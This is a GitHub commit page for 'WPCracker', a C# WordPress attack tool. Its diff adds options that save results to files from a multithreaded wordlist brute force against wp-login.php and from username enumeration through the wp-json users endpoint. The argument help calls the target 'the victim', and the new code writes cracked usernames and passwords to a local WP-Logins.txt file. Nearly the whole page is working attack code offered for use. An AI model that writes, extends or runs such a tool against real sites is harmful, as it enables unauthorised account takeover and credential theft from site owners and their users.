Skip to content

Commit

Permalink
made it possible to save the results to a file
Browse files Browse the repository at this point in the history
  • Loading branch information
JoniRinta-Kahila committed Jan 9, 2021
1 parent 4f9164e commit 952ab0a
Show file tree
Hide file tree
Showing 4 changed files with 62 additions and 6 deletions.
22 changes: 19 additions & 3 deletions WPCracker/Attacks.cs
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@ namespace WPCracker
{
class Attacks
{
public static void BruteForceAttack(string uri, string username, string wordlistPath, int maxThreads, int batchCount)
public static void BruteForceAttack(string uri, string username, string wordlistPath, int maxThreads, int batchCount, string outFilePath)
{
var login = new Login(new Uri(uri));
using var sr = new StreamReader(wordlistPath);
Expand Down Expand Up @@ -55,6 +55,13 @@ void Update(decimal percentage, long seconds)
Console.WriteLine($"Username: {username}\nPassword: {password}");
Console.ResetColor();
found = true;

if (!string.IsNullOrEmpty(outFilePath))
{
var toFile = new SaveResult();

toFile.LoginCredentialsToFileAsync(uri, outFilePath, username, password);
}
}
catch (Exception ex)
{
Expand All @@ -74,7 +81,7 @@ void Update(decimal percentage, long seconds)
Console.WriteLine($"\nPassword for username {username} NOT found!");
}

public static async void UserEnum(string uri)
public static async void UserEnum(string uri, string outFilePath)
{
var client = new HttpClient();
var response = await client.GetAsync(uri);
Expand All @@ -86,7 +93,8 @@ public static async void UserEnum(string uri)
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine($"Found {list.Count} user(s)\n");
Console.ForegroundColor = ConsoleColor.Yellow;


var first = true;
foreach (var t in list)
{
Console.WriteLine($"ID:.............{t.Id}");
Expand All @@ -95,6 +103,14 @@ public static async void UserEnum(string uri)
Console.WriteLine($"LINK:...........{t.Link}");
Console.WriteLine($"URL:............{t.Url}");
Console.WriteLine($"SLUG:...........{t.Slug}\n");

if (!string.IsNullOrEmpty(outFilePath))
{
var toFile = new SaveResult();
toFile.UsersToFileAsync(uri, outFilePath, t, first);
}

first = false;
}
Console.ResetColor();
}
Expand Down
10 changes: 8 additions & 2 deletions WPCracker/MyArgs.cs
Original file line number Diff line number Diff line change
Expand Up @@ -39,10 +39,13 @@ public class BruteForce

[ArgDefaultValue(1000), ArgShortcut("c"), ArgDescription("Maximum size of test batch per thread")]
public int BatchCount { get; set; }

[ArgShortcut("o"), ArgDescription("Save result to file")]
public string OutFilePath { get; set; }

public void Main()
{
Attacks.BruteForceAttack(TargetUri + "/wp-login.php", Username, WordlistPath, MaxThreads, BatchCount);
Attacks.BruteForceAttack(TargetUri + "/wp-login.php", Username, WordlistPath, MaxThreads, BatchCount, OutFilePath);
Console.ReadLine();
}
}
Expand All @@ -54,10 +57,13 @@ public class UserEnumeration

[ArgRequired(PromptIfMissing = true), ArgShortcut("u"), ArgDescription("The victim's HTTP web address")]
public string TargetUri { get; set; }

[ArgShortcut("o"), ArgDescription("Save result to file")]
public string OutFilePath { get; set; }

public void Main()
{
Attacks.UserEnum(TargetUri + "/wp-json/wp/v2/users");
Attacks.UserEnum(TargetUri + "/wp-json/wp/v2/users", OutFilePath);
Console.ReadLine();
}
}
Expand Down
34 changes: 34 additions & 0 deletions WPCracker/SaveResult.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
using System;
using System.IO;

namespace WPCracker
{
public class SaveResult
{
public async void UsersToFileAsync(string uri, string outFilePath, WpUserInfo res, bool firstLineOfResult)
{
var url = new Uri(uri).Host;
var fLine = firstLineOfResult ?
@$"{Environment.NewLine}$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$${Environment.NewLine}Username(s) to {url}" : "\n";

await File.AppendAllTextAsync(Path.Combine(outFilePath, "WP-Users.txt"), @$"{fLine}
ID:.............{res.Id}
NAME:...........{res.Name}
DESCRIPTION:....{res.Description}
LINK:...........{res.Link}
LINK:...........{res.Link}
URL:............{url}
SLUG:...........{res.Slug}");
}

public async void LoginCredentialsToFileAsync(string uri, string outFilePath, string user, string pwd)
{
var url = new Uri(uri).Host;

await File.AppendAllTextAsync(Path.Combine(outFilePath, "WP-Logins.txt"), $@"Login Credentials to {url}
Username: {user}
Password: {pwd}{Environment.NewLine}
");
}
}
}
2 changes: 1 addition & 1 deletion WPCracker/WPCracker.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>netcoreapp3.1</TargetFramework>
<Version>1.2.1</Version>
<Version>1.3</Version>
<Authors>Rintsi</Authors>
<Description>WordPress login Brute Force tool</Description>
<AssemblyVersion>1.2.1.0</AssemblyVersion>
Expand Down

0 comments on commit 952ab0a

Please sign in to comment.